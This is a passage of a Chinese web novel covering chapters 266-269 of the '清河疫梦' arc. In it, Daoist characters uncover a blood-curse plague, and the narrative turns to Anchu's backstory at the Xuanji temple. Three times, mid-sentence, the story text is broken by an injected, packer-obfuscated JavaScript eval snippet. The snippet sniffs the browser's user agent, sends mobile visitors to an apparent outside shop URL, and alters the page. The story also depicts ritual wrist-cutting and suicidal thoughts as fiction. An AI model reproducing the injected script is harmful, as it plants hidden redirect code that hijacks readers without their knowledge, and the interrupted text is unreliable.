旁边三个人凑上前,她拂去灰尘小心翻开。纸页脆黄,上面的字是竖排的毛笔小楷。她翻了几页,停在其中一页上。 那一页的标题是:【血瘟符】。 「血瘟符,邪术也。施术者以己身精血为引,佐以枉死者遗骨或贴身之物,于极怨之地绘符成咒。咒起时,黑雾弥散,凡沾染者,三日内必发热咳血,七日魂销,且死后怨气不散,反哺咒力,令瘟瘴愈炽。」 「此术阴毒,有伤天和,然一旦施展,便如附骨之疽,寻常法门难解。唯二法可破:其一,施术者自绝性命,咒根自断;其二,外人以命换命,以纯净之魂冲抵怨咒,或可勉力一搏。然此法凶险,十不存一。」 所有人脸色都变了,安楚猛地抬起头,难以置信。 “Fuck……”u谷低声骂了一句,看向安楚,“So this plague is man-made?(所以这瘟疫是人干的?)施术者是你父母?” 安楚连忙挥手,厉声道:“不可能!我父母他们绝不会做这种事,也没有理由做!这里面一定有隐情!” 向枝冥面无表情,冷冰冰地说道:“是不是,不是你说了算。既然你说有隐情,那就等今晚安家发出念咒的声音,一起去看看,到底是怎么回事。” 事情暂时定下。回北的队伍和江意的队伍不同,没有具体任务时他们五人可以分开行动,爱干啥干啥。现在也是如此,向枝冥和u谷不知道跑哪去了,安楚则静静站在祠堂门口,看着远处青鸾山的方向。 初与序独自出了祠堂,在村子里转悠。巷子七拐八绕,偶尔有村民惊慌地看向她,又连忙移开目光。 她走过几户门口撒着纸钱的人家,又经过一口古井,最后走到了村子边缘。 这里有一片不大的池塘,水色暗沉,岸边杂草丛生,几棵歪脖子柳树垂着枝条。池塘边堆着一些废弃的破渔网,安静得连鸟叫都听不见。 她在池塘边站了一会,没看出其他异样,便转身沿着来路往回走。 266.清河疫梦 到了深夜,一切都安静下来。初与序靠着墙壁坐着,摸出手机按亮屏幕,已经十一点半了。 她看向另外三个人,他们已经等得睡着了,向枝冥和u谷靠着供桌,安楚离得远一点,头也垂着。她刚想也闭眼休息一会儿,耳边忽然传来若有若无的声音,从村东头飘过来,低低的,像是在念咒。 初与序想起白天那个村民的话,睡意全无,站起身走到窗边,往外看去。 村子大部分地方都在阴影中,安家的方向被几间屋子挡着,什么也看不见。但没过多久,她就看见一缕淡淡的黑气从那个方向袅袅升起,融入夜色。黑气越来越浓,又弥漫开来。 她转身走回三人旁边,安楚很快察觉到脚步声,睁开眼,眼神清明。初与序没说话,朝着窗外安家的方向偏了偏头:“该走了,把他们俩叫醒。” 安楚点点头,站起身径直走到向枝冥旁边,抬手,干脆利落地一巴掌扇在他脸上。 然后他转身就往祠堂门口走。 初与序:“?” 你叫醒人的方式是这样子吗?! 向枝冥“嘶”地一声,捂着半边脸睁开眼,人还有点懵。他盯着旁边被动静弄醒的u谷:“你他妈打我干嘛?” u谷睡眼惺忪,闻言没好气道:“What the hell?(搞什么?)不是我!” “不是我?”向枝冥指着自己脸上的巴掌印,“你看看,除了你还有谁?人初与序肯定不会干这事!” “Maybe you hit yourself in your sleep!(说不定是你自己做梦打的!)”u谷来气了,也顾不上向枝冥听不听得懂英文,“Don''t blame me!(别赖我!)” 初与序:“……” 她赶忙打断争吵:“别吵了二位,到时间了,去安家。” 听到“安家”两个字,向枝冥的脾气瞬间消了,默默地站起身。 四个人走出祠堂,夜风一吹凉嗖嗖的。越往东走,靠近安家,气氛就越阴冷。安楚和向枝冥的神色同时凝重起来,像是感知到了什么。 “怎么了?”u谷见他脸色不好,“有什么不对的?” “不对的东西多着呢。”向枝冥放慢脚步,压低声音道:“我是道士,对这玩意儿敏感。安家宅院里头和周围怨气很重。一会儿说不定会有东西出来,都小心点。” 说着从面板里拿出四张黄纸,咬破指尖在每张纸上画下同样的符咒,一人一张分发:“驱邪符,但不一定挡得住怨气太凶的。” 安家宅院土墙灰瓦,比其他村民的房子稍大一些。院墙不高,跳起来能看见里面有几间平房的屋顶。院门外种着一些花草,只是如今都枯萎了。 大门紧闭,挂着一把铜锁。窗户被人从里面用木板条封死,看不见里面。 撬锁或拆木板的动静太大了,四人默契地选择了最直接的法子——翻墙。 他们身手都好,先后落进内院。院子里面更昏暗,一股草药味扑面而来。正屋的窗户封死,但门缝里透出摇曳的昏黄光亮,还有断断续续的声音。不出意外的话,安楚的父母应该就在这间屋内。 初与序挪到侧面,顺着墙角一株老树,几下就攀上了旁边房子的屋顶。刚爬上去,屋檐边就伸出一双手,u谷探出脑袋,也跟了过来。 “你来这干什么?”初与序小声道。 “我可不想和那两个人呆一块。”u谷抱怨道,“他们俩到时候一定吵架,被发现了的话我也要受罪。” 两个人从屋檐边缘往下望去,这个角度正好能清清楚楚得看清正屋的情形。 向枝冥和安楚则躲在正屋外阴影里,一动不动。 屋里只垫着一盏油灯,光线昏暗。正对着窗户的是一张老旧供桌,桌上没有寻常人家的祖先牌位,但是摆着几样东西。 一碗暗红的血,几张画面符咒的黄纸,还有一小截像是骨头的东西。 供桌前跪着两个人,一男一女,穿着洗得发白的衣服,是安楚的父母。 安母双手合十,头深深垂下,嘴唇飞快翕动,吐出咒语。安父正一手按在供桌边缘,另一只手握着一把小刀,刀尖对着另一只手的手腕,双手止不住发抖,但仍然稳稳握着小刀。 初与序看见,他的手腕上已经有好几道新旧交叠的割痕。 安父的脸毫无血色,直勾勾盯着供桌上的血碗。安母跪在他身边,一直闭着眼不断念着听不太清楚的咒语。 “……以我血为引,以亡者骨为媒,怨气不散,咒起不熄……” 这一句话安母忽然拔高声音,四个人这才听清她说的是什么。 接着,安父的手突然一用力,刀锋对准手腕狠狠划下,血液立刻涌出,滴滴答答落进碗中。碗中的鲜血表面泛起泡沫,颜色变得更深。一股黑气从碗中升起,贴着地面,朝着门缝外缓缓而去。 “这是血瘟符?”u谷睁大眼,“Really?这场瘟疫真的是安楚父母引起的?Why?” 初与序看向下方门边,安楚和向枝冥还站在那里,她看不见安楚的表情,只能看到他站在墙边的身体在微微发抖。 向枝冥看到这一幕,猛地扣住安楚手腕,压低声音:“你什么意思?是他们干的?安楚,别告诉我你真的什么都不知道!” 安楚被他拽得一晃,回头看他,急急反驳:“我离家时间长,怎么可能知道这些?!如果我真的知道,一定会阻止他们!” “但当年的他们已经成功了,这一切都是你父母干的!”向枝冥气得发笑,“全村都要死了!所有人都要死了!你知不知道?!” “他们……他们没有理由……”安楚声音抖得厉害,挣扎着想看屋内。 向枝冥咬牙道:“安楚,你最好想清楚,等下怎么——” “谁在那里?!” 屋内,安父猛地站起身,直直看向他们藏身的位置。下一秒,他猛地抬起头指向门外,一串血珠飞溅出来,破空射向他们。 供桌上那碗鲜血内突然涌出无数团黑影,上升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205034|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到空中,发出惨叫。它们在空中齐齐一顿,双眼亮起,朝着向枝冥和安楚的方向俯冲而下! “操!”向枝冥骂了一句,松开手取出黄纸,另一只手快速比划,喝道,“天地清明,邪祟缓行——滞!” 一道淡金色的光屏在他面前一闪而过,撞上扑来的黑影,黑影的速度明显慢下来。 他拔腿就要跑,一回头却见安楚还僵在原地,看着屋内父母的背影。 “你发什么呆!跑啊!”向枝冥气得几乎吐血,猛地拉住安楚衣领将他往院墙方向狠狠一拽。安楚这才反应过来,连忙结印,挡住黑影的攻击。 u谷趴在屋檐上看着地下鸡飞狗跳,笑道:“See?(看吧?)我就说别跟他们凑太近,now we''re screwed.(现在完蛋了。)” 他话刚落,旁边初与序蹭地站起来,人瞬间就跑没影了。 “人呢!” u谷震惊地回头一看,就见初与序站在旁边平房屋顶上,朝这边喊:“快走啊!我们也被盯上了!” 接着她转身,跑得更快了。u谷“啊”了一声,转回头茫然地向下看去。 安母不知何时已经扭过身,一双眼睛死死盯着他趴着的方向。更多的黑影正从血碗里爬出,升起,朝着这边尖叫着扑来。 “Shit!”u谷手忙脚乱爬起来,朝着初与序离开的方向冲去。 黑雾快速地从安家的方向向四周漫来,无数怨灵扑来。初与序反手抽出短刀,格开怨鬼的利爪。 “往西边退!”安楚的法阵在屋顶下炸开,劈散三四道黑影,“西边人少!” 初与序向下望了一眼,就看见三只怨灵拧成一股厉风,直直贯向向枝冥。她朝准方向用力一掷,短刀破空转出银光,直直飞去砍断抓向他的鬼爪,又撞向旁边柱子,反弹回她手心中。 “谢了!”向枝冥高喊道,“分开跑,村外山脚下见!” 四个人朝着四个不同的方向奔去,怨鬼们在原地停了几秒,也分成四路,开始追击。 初与序足尖踏墙转折,借力朝着村庄外的方向冲去。身后怨气翻涌,鬼手快要抓住她的发尾,又被她甩掉。她忽地滚入荒草丛中,短刀插地急刹,贴着土坡滑入下方。 怨灵们一时没有她的视野,在村落上空盘旋。 她等了一会儿,待怨灵向其他方向散去,才沿着阴影来到村外青鸾山的山脚。 安楚已经到了那儿,靠着树干微微低着头。他脸上有一道血痕,渗着血珠。但他没心思管,沉默地站在那里,听到脚步声抬了抬眼,勉强扯出一个微笑。 初与序没说话。 没过多久,向枝冥和u谷也一前一后赶来。向枝冥气息有些不稳,一眼就看到了安楚,脚步顿了顿,径直走了过去。 u谷看了看这架势,很识趣地没凑近。 此地不宜久留,初与序直起身,对u谷道:“我们去那边看看情况。” u谷立刻点头,和初与序迅速走远,给另外两人留下空间。 267.清河疫梦 树下只剩下向枝冥和安楚两人,向枝冥侧头冷冷地看着安楚,一时还没说话。 “你还觉得我知道这件事吗?”安楚抬起眼,沉声道,“我在你眼里就这么不堪吗?” 向枝冥摇了摇头,又点了点头。他一字一句道:“好,安楚。我相信你之前不知道你父母用了血瘟符。” 他继续道:“我想问你,那你当年离开烧成废墟的清河村,上青鸾山,拜入玄机观。师父收留你,教你法术,传你道理。你动手杀他之前,可曾想过当年他放的那把火,或许也是万不得已?!” “万不得已?!”安楚怒道,“那是我父母!他们也死了啊!如果不是他,说不定还有别的办法?他凭什么?凭什么就直接带人放火,把整个村子都烧了?” “玄机观里的人为什么不拦着他?他们不是自诩正道吗?!这就是你们的正道?!” “安楚!”向枝冥厉声道,“你讲点道理!血瘟符是什么东西你最清楚不过了!控制得不好那是能蔓延出去的,能死成千上万人的!” “那师父当年试过找别的方法了吗?!”安楚红了眼眶,“全村三百多人最后是死在那场大火里的!” 向枝冥看着他的眼睛,心头的火和冰碴混在一起,刺得他生疼。 “师父的事先不说。”他道,“那你想怎么办?安楚。现在就在这儿,你告诉我,你打算怎么办?” 他向前一步:“那对正在用邪术害死全村的人是你父母,辛辛苦苦养你长大,对你好,所以呢?所以他们就该被放过?所以这一村子的人就活该死?!” 安楚被他逼得向后退去,后背撞上树干:“那你要我怎么办?亲手杀了他们吗?!我做不到!” 向枝冥笑道:“那你对师父,对玄机观上上下下那么多人,怎么就下得去手?” “安楚,你别告诉我,你来玄机观这么多年,和我们朝夕相处,那么多些日子,你心里都只等着报仇。” 他冷声道:“你别告诉我,你们多年,你对我,对我们所有人,那些全都是假的。” 安楚像是被迎面打了一拳,嘴唇哆嗦道:“……不是。” “可你还是杀了他们。”向枝冥道,“因为在你心里,你父母的命是命,清河村三百多口人的命也是命,但玄机观所有人的命,就不是命,对吧?” “安家真是好样的。父母造孽,儿子复仇,杀光了所有真心待你的人。” “你们,真他妈……”他吸了一口气,“安楚,你怎么不去死……” 话一出口,两个人都愣住了。 向枝冥闭了闭眼,猛地转过身靠在另一棵树上。摸出烟盒抖出一根,叼在嘴里,又摸出打火机点燃。用力吸了一口,烟雾弥漫开来,夹着烟的手有些发抖。 安楚侧头看了向枝冥一眼,眼神空茫茫的,什么情绪都没有。 他有些脱力地滑坐下来,把脸埋进膝盖里,长发散落下来遮住了脸。 安楚觉得难过,浑身都在隐隐作痛。但不是因为向枝冥那句“你怎么不去死”。他又不是没想过死,不止一次。 他现在才明白过来,所有的事情是怎么一环扣一环最后全砸回他身上的。玄机观的人死了,是因为他。向枝冥好不容易有的家没了,也是因为他。他们俩变成现在这样,还是因为他。一切的痛苦都是他造成的。 现在真相出来了。谁赢了?谁输了?好像也没人在乎输赢了。 他只觉得向枝冥说得对,他为什么不去死呢。 当年他放假回家,远远就看到村子的方向没有炊烟。走到近前,只有一片烧黑了的焦土。 没有人在村口等他放学,没有坐在门口嗑瓜子,见到他回来会塞一把花生给他的老头老太太。什么都没有了。 那么小的孩子,书包都没放下就扑上前,扑到灰烬上用手去挖。他也不是真的要挖什么,就觉得下面应该有点什么。挖了一天一夜,手指破了,指甲翻开,血和灰混在一起。什么都没挖出来。 直到这时,他才好像真的相信,家里没人了。他一个人坐在那片焦土上,放声大哭,哭得嗓子全哑了,眼泪流干了,也没有父亲母亲像以前一样来抱抱他,哄他一句。 后来怎么睡着的,他忘记了,大概是太累了。 再醒来的时候,天已经亮了。他出奇的平静,接受了自己要和故乡道别的事,心里空荡荡的,什么感觉都没了。他背着书包从镇上走回家乡,又背着书包从家乡走到镇上,才打听到消息:清河村起大火,没人逃出来。一切都被烧掉了,警方无从下手。 村里的人很小心火烛,怎么可能烧得那么干净,一个人都没跑掉? 他又走回那片废墟,在那里坐了一整夜。风凉嗖嗖的,吹过空旷的焦土。死的人死了,活着的还得活。他得活下去,去弄明白怎么回事,得给家人报仇。 天蒙蒙亮的时候,他站起来,拍了拍身上的灰,朝着青鸾山的方向走。 山很高,路很长。他爬上去的时候,人已经有点晃了。山顶有座道观,朱红的门,上面写着“玄机观”三个字,门口台阶上有两个年轻的道士在扫地,看到他后都停下来。 他刚往前走了一步,眼前突然一黑,人往前载去。意识消失前,最后看到的是那两个小道士一脸惊恐地丢了扫把冲过来。 再醒来时躺在一张干干净净的床上。床边坐着一位老者,穿着道袍。见他睁眼,抚了抚长胡子。 “醒了?”玄微子和和气气道,“小家伙,你是打哪儿来了?家里大人呢?” 安楚刚醒,脑子倒转得飞快,临时把自己的原名“安思阳”改成了“安楚”,随便取的,也没什么含义。 “我叫安楚。”他哑声说,“从山那边过来,没爹没娘,一个人走过来的,没吃了的,也没别的地方去。” 他顿了顿,一骨碌爬起来,二话不说就给玄微子磕头:“求道长收留我,我会洗衣做饭,吃得也少,不会花很多钱。我读书也很努力,以后一定会为玄机观做出贡献。” 玄微子没有犹豫,轻轻扶起他,道:“好,那你就留下吧。以后这里就是你的家。” 安楚就这样留在了玄机观,玄微子收他做了弟子,让他跟着观里其他孩子一起念书,学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205035|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 他聪明懂事,道观里什么活都抢着干。很快认识了观里其余同龄的弟子,老道长们也时常笑眯眯地夸他,说玄微子收了个好徒弟,玄微子总是温和地笑笑。 他白天去上学,晚上就跟着其他弟子一起学《道德经》。他学得快,记得牢,教课的师兄也喜欢他。周末下午有练功的时间,他虽然年纪小,但学基本的拳脚也有模有样。 大家吃饭时是围坐在长条木桌旁边的,饭菜管饱。弟子们都有独自的房间,但一到晚上总会偷偷串门,挤在一间屋内,说会悄悄话,讲的基本都是从山下听来的玩意儿。安楚不太插嘴,就听着,有时也跟着笑一笑。偶尔有弟子问他关于他父母的事,他只糊弄几句,便低头去看被褥。被褥是旧的,但干干净净,有太阳晒过的味道。 逢年过节,道观里会稍微热闹些,来上香的多了。师父总会给每人发一小包糖果。他舍不得吃,会在兜里放好久。 玄机观最大的殿里供着三清像,香客常来。安楚看着那些人捏着三根细细的香,走到蒲团前跪下,闭上眼,嘴唇无声地动,然后深深地拜下去。有的起身后,把香插进香炉,看着烟往上飘,像是放下了一桩心事。 有钱人烧的香很粗,像小孩子胳膊,点起来味道冲。他们往功德箱里塞钱,红红的票子一沓一沓,有的塞得很随意,师父在边上看着,只是点点头,说:“施主保重。” 也有穷人,在香摊前犹豫半天,最后空着手怯生生地问师父,没钱买香,能不能拜。师父点头,说:“心诚则灵。”他们就跪下磕头,磕得很响。起来时磕头上带着灰,又弯腰向师父道谢。 有个年轻人常来,很瘦很瘦。听师兄说是得了治不好的病。他来上香,先把香举到额头,停一会儿,再拜下去,很久才直起身。上完香不急着走,就在殿内院子里看着我们练功。有时候会带我们玩游戏,或者带些零食分给大家,看我们抢着吃,他就靠在廊柱上笑。 他断断续续来了两年,后来就不来了。不知道是病好了,还是人没了。 安楚没事的时候,就喜欢坐在殿外大树下的石台上,看着一个个香客走进来,拜下去又离开。他觉得,有些人跪下去拜的不是那泥塑的神像,而是心中的贪念。有的是怕,有的是欲,有的只是想找个人说说不敢说的话。 有时,他夜里躺在床上,闭着眼,眼前还是那片焦黑的土,是挖下去空荡荡的手,是怎么哭也哭不回来的爹娘。然后被噩梦惊醒,睡下去,又是噩梦。 下山买东西时,他也试着打听,问几年前有没有哪里着过大火。听过的人大多摇头,有那么一两个提起“清河村”的名字,也只是叹口气,说“造孽啊,都烧没了”,再问不出更多。 他也没灰心,打听不到就等着。他还年轻,总能等到知道的人,或者等到自己足够厉害,能亲自把真相挖出来的时候。 日子一天天过去,山上的雾气,春天的野花,夏天的蝉鸣,秋天的落叶,冬天的雪,他都慢慢熟悉了。这里没人知道他是谁,从哪里来,为什么来。他们只当他是“安楚”,一个无父无母,被道观收留的孩子。 268.清河疫梦 不记得在玄机观待了第几个念头了,大概是安楚念初中的时候,有一天师父下山给人做法事,回来时,身后跟了个小孩。 那是个冬天,青鸾山难得下了场大雪。山道上的雪积了厚厚一层,没过了脚踝。小孩裹着师父宽大的道袍,里头只穿了件薄薄的长袖,冻得嘴唇发紫,脸上没什么肉,个头也矮,看着也就十一二岁。 玄微子把小孩领到他面前,说是在山下垃圾堆边捡到的。孩子被爹妈扔了,连个名字都没有,捡到的时候正抱着一块从垃圾桶里翻出来的馒头啃。大冷天的,就把他带上来了。 “以后他就是你师弟了。”玄微子道。 小孩头发又长又乱,遮住了大半张脸,只露出一双眼睛,亮亮的,也不怕生,就直直看着安楚。 可能也算同病相怜吧,安楚对这小孩有一种天生的好感。他蹲下来牵起他冰冷的手:“我叫安楚。” 小孩眨眨眼,小声叫:“师哥。” 安楚笑了笑,抬头看师父:“师父,那他的名字怎么办?得上户口吧?” 玄微子点点头,不知怎么想的,说:“名字你来取吧。” 安楚愣了一下,看着眼前这孩子,想了想,说:“就叫‘向枝冥’吧。” 玄微子“哦?”了一声,安楚解释道:“向枝冥,是含阴抱阳,枝喻道生万象,冥契众秒之门。” 向枝冥看着安楚,安楚眉眼如画,眼睛像山涧里的黑曜石,温润如玉。他咧开嘴笑起来,说:“我喜欢这个名字,谢谢师哥!” 向枝冥就这么在玄机观住下了,成了玄微子的第二个徒弟。 他和安楚完全不一样,安楚安静,他闹腾,上课坐不住,不是走神就是打瞌睡。上树掏鸟窝,下水摸鱼烤来吃,观里不许干的事他差不多干了个遍。 其中有次他带着几个年纪小的师弟,大半夜溜去后山玩躲猫猫。有个孩子爬到树上,倒挂着垂下来。刚好一位老道长夜里去后山采药,一抬头看见树上吊着颗脑袋,吓得差点背过气去。 老道长一气之下,当场把后山划成了禁地,不许弟子再随便进去。所有参与的都罚去三清像前跪着,尤其是向枝冥,还得扫两个月的落叶。 那是个周末,安楚从学校回来,看到的就是向枝冥蔫头耷脑得举着扫帚,在院子里划拉着满地枯叶。 向枝冥那时候十四了,比安楚小两岁。这几年在观里吃饱穿暖,他个子蹿得很快,已经和安楚差不多高了。也学着安楚的样子留了长发,扎成马尾。 安楚放下书包,叫了他一声:“枝冥。” 向枝冥猛地抬起头,眼睛唰地亮了,丢下扫把就扑过来,一头撞进安楚怀里:“师哥!师哥你可回来了!我想死你了!” 安楚笑着揉了揉他的脑袋:“猜猜我给你带了什么?” 向枝冥围着他打转:“什么啊什么啊?师哥你快告诉我!” 安楚打开书包,从里面拿出一个饭盒:“桂花年糕。” 当时的向枝冥极其乐忠于桂花年糕,可山上很少有年糕,只能等到下山时买。他又调皮,能下山的机会少之又少。安楚知道了,总会在下山时给他带一盒桂花年糕。 “师哥你最好了!”向枝冥蹦起来,接过盒子,拉着安楚坐到旁边石台上。 他打开盒子,桂花的香气就飘了出来。 后来在永冬之城里,安楚也吃过桂花年糕,但味道始终不一样。 那几年里,向枝冥很黏安楚,走到哪儿都爱跟着,做什么事都想叫上师哥一起。安楚念书,他就在旁边练字,写着写着就趴桌上睡着了。安楚练功,他也跟着比划。安楚去镇上没东西,他也要跟,一路问东问西。 安楚十七岁生日那天晚上,已经睡下,门被轻轻敲响,他起身开门时,看见向枝冥站在外头,月光照着他半边脸,笑盈盈地望着他。 向枝冥变戏法似的从怀里掏出两样东西,神神秘秘道:“师哥,我带了桂花年糕和梅子酒,去不去后山?” 安楚揉了揉眼睛:“后山?那里不是禁地吗?” “没事儿,咱们偷偷去,肯定没人发现。”向枝冥拽了拽他的袖子,眨眨眼,“我之前发现个好地方,谁都没告诉!” 安楚被他一路拉着,穿着拖鞋就往后山走。月光很亮,山路铺着一层银辉。向枝冥在前面带路,穿过一片林子,眼前是一汪温泉,热气袅袅,水面上飘着几片红枫叶子。 “怎么样?”向枝冥道,“之前躲猫猫瞥见的,还以为眼花了。昨晚才想起来,偷偷来看,还真的是温泉!” 他把桂花年糕和梅子酒放在旁边的石凳上,转身就脱上衣。安楚抬手遮住眼睛,温温柔柔笑道:“枝冥啊,脱衣服也不说一声。” 向枝冥满不在乎道:“都是男的,又不脱裤子,没什么的。” 接着,耳边就听见下水声,水花溅起来,几滴温热落在安楚脸上。安楚放下手看去,向枝冥已经趴在温泉边上,单手撑着脸,挑眉看着他。少年长开了不少,眉眼间张扬,带着吊儿郎当的劲,也难怪那些老道长看着他的样子就无奈摇头。 “师哥,快下来,暖和!”向枝冥招手。 安楚叹了口气,慢慢走到水里。温泉很舒服,水漫到胸口。他走到向枝冥旁边,才发觉师弟的个头长高了不少,已经和自己齐平了。 向枝冥一直看着他,安楚生得白,眉眼温润似水,睫毛长长的,热水一蒸,脸颊和脖子都泛着淡淡的红。头发打湿几缕,贴在额边。 “怎么了?”安楚见他一直瞧着自己,问道。 向枝冥忽然伸手过来,安楚呼吸一滞,那只手却越过他,拿走了后方石凳上的梅子酒。 向枝冥仰头喝了一小口,酒香混着梅子甜香散开。他直直道:“师哥,你真好看。” 安楚笑了笑,没接话。 向枝冥又问:“对了,师哥,你当初为啥来道观啊?” 安楚沉默了好一会儿,水汽氤氲,月光朦朦胧胧。 “我是来查一件事的。”他道,“查几年前清河村那场大火,到底是怎么回事。” “那要是查到了,你会走吗?”向枝冥直起身。 安楚摇摇头:“当然不会,查到了,我也还是玄机观的弟子,是你的师哥。” 向枝冥笑了,把酒递给安楚:“那就好,我以后要当真正的道士,和师哥一直在一块儿。” 安楚接过酒,也喝了一口。梅子酒有点甜,也有点涩。他看着向枝冥,无奈地摇摇头,道:“你会有自己的路的。” “不过在那之前,我会和你一起待在玄机观里。” 安楚十八岁生日那天,收到了本地大学的录取通知书,还有玄机观给成年弟子发的护身牌。牌子是木头的,上面刻着两个字:“平安”。 按观里的规矩,成年弟子要独自下山游历一个月,处理些民间灵异事,算是个考核。通过了,回来就能正式成为玄机观的道士。 走的前一晚,向枝冥赖在他房里不走,抱着他胳膊嗷嗷哭,说舍不得。安楚自然也舍不得,只能安慰他,说又不是不回来了,有手机呢,天天都能说话。 他又拿起自己的护身牌,给向枝冥看:“看,我的是‘平安’,等你十八岁了,也去找师父要刻着‘喜乐’的。我护你平安,你让我喜乐,行不行?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205036|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>向枝冥眼泪汪汪地点头。 第二天,安楚就下山了。 他接了离安徽不远的几个省城的活,多是些看风水,驱小祟的事,不难办。他做事稳妥,人也温和,渐渐有了点名气。走在街上偶尔有人认出他来,会笑着喊一声“安道长”,说玄机观里又出了位好道士。 他和向枝冥常通电话,向枝冥在那边叽叽喳喳,说观里今天吃什么,师父又教了什么新符,前院的松鼠好像生崽了。安楚笑着听,应两声。 一个月过得很快,到了该回去的时候。他从杭州坐车回安徽,路上在一个小镇上歇脚。小镇靠着湖,有家茶馆也兼旅馆。夏夜闷热,他住下后,独自上了二楼喝茶。 二楼靠窗的位置开着窗户,能看见外面清澈的湖水和柳树。风从湖面吹过来,带着微热。他刚端起茶杯,对面椅子上就坐下一个人。 是个年轻人,气质和向枝冥有些像,吊儿郎当地曲起一条腿踩着椅子边,歪着头看着他。 安楚放下杯子,那人穿着普通的短袖,脖子上却挂着一块眼熟的木牌。安楚看清了,木牌正面是“玄机观”,反面是“顺遂”。 “玄机观的人?”安楚问。 那人“啧”了一声,一把扯下脖子上的牌子,随手扔在桌上:“现在不是了。” 他盯着安楚:“听我一句劝哈,赶紧离开玄机观,那儿没一个好东西。” 安楚皱起眉:“你什么意思?” 那人摆摆手,咧嘴笑了一下:“你是安楚吧?或者我该叫你……安思阳?” 安楚脸色一变,伸手就要去掏怀里的符纸。那人吓得连忙探身,一把按住他手腕:“诶诶诶,别急别急,你先听我说,我没有恶意!” 于是安楚收回手。那人也重新坐回位置上,指了指桌上的护身牌:“看见这个了吧?我不是在唬你,我也是被玄机观捡回去的。” “十几年前我家也出了事,不是什么意外,是玄机观的吴道长带人干的——老吴现在应该还在观里,你认识吧——我家上上下下十几口人,一夜之间全没了。就我一个,当时躲在衣柜里没被找到。吴道长看我还有口气,就把我带上了山。” “除了我,我家所有人都被邪祟附了,快要祸害一整个镇子了。没办法只能全杀了,然后一把火把尸体烧干净。他们说是迫不得已……杀人放火,还有理了?” 他拍了拍桌子,又摊开手:“玄机观里手上沾人命的不止吴道长一个人,都是为了救更多人。可凭什么?凭什么他们觉得自己是道士,就能决定谁该死,谁该活?” “我早就跑出来了,这次来是知道你要回去,想劝你一句。那地方沾着血,趁早走。” 安楚看着他,涩声道:“我……我为什么要走?” 年轻人直直地看着他,道:“我就知道你不愿承认。” “清河村那把火,烧死你全家,烧死全村人的那把火,是谁放的?啊?是你的好师傅,玄微子啊!” 安楚耳边“嗡”了一声,大脑一片空白,半晌都反应不过来。 “当时我跟其他几个弟子就在旁边看着。”年轻人看着他震惊的模样,放缓语气,“没人拦着,你师父说那是瘟疫,不烧掉会害死村外的人。一把火就烧了。” “你……”安楚喃喃道,“不可能……” “不信?”年轻人站起身,“那过几天你回去看看,去玄微子书房里翻翻,看看有没有记载。” 他拿起桌上的护身牌,又看了眼安楚:“话反正我说完了,信不信由你。跟杀你全家的仇人住一起,你自己掂量。” 男人转身离开,楼梯上的脚步声越来越远。 269.清河疫梦 安楚坐在原地,明明是夏天,他却觉得一股寒气蹿上来,冻得他指尖发麻。周围的所有好像都隔了一层雾气,模模糊糊的。 他终于找到凶手了。 可怎么会是这样? 他想起小时候清河村的夏天,傍晚,家家户户搬着小凳子坐在门口,摇着蒲扇乘凉。孩子们在巷子里追跑打闹,他玩得出汗,母亲就喊他回去,用凉水给他擦脸,往他手里塞一块切好的西瓜。西瓜很甜,籽要吐在手心里。父亲坐在一旁,笑着看着他吃。远处田埂上,萤火虫一闪一闪的。 那时候,天很黑,星星很多,风是暖的。 后来,那些暖的、甜的、亮晶晶的东西,全都没了。只剩下焦黑的土,和他自己。 他以为玄机观是重新开始的地方,有饭吃,有地方睡,有师父,有师弟,有平静的日子。那些清晨的雾气,后山的温泉,师弟递来的梅子酒……难道都是一场梦?一场自欺欺人的梦? 他坐在那里坐了很久,茶凉透了,窗外柳树的影子被风吹得摇晃。 没有家了,他又没有家了。 连那个收留他,给他饭吃,教他学习,让他喊“师父”的人,都成了凶手。 他慢慢站起来,腿有点麻了。扶着桌子,站了一会儿。 他不可能装作什么都不知道,再回到那个山上去,再对着玄微子叫“师父”,再和向枝冥一起吃桂花年糕,笑着说以后要一直在一起。 回不去了。 ……后来,他还是回了玄机观。 因为他得报仇。 向枝冥早早就在观门口等着了,见了他又扑上来:“师哥!你可回来了!” 他兴奋地抬起头,还想说些什么,可突然皱起眉头:“师哥,你脸色怎么这么差?是不是受伤了?” 他松开手,急急忙忙去检查安楚身上。安楚轻轻推开他,勉强挤出一个笑容:“没事,可能是上山路长,走得有些累了。” 向枝冥半信半疑,还是陪着他进了观。 观里给安楚办了传度仪式,他跪在祖师像前,接过道袍和经书,正式成为了玄机观的道士。 之后的日子和以前没什么不同,他在本地念大学,每周回来一两次。向枝冥也上高二了,课业忙。两个人见面的机会少了,但还是常常通电话。 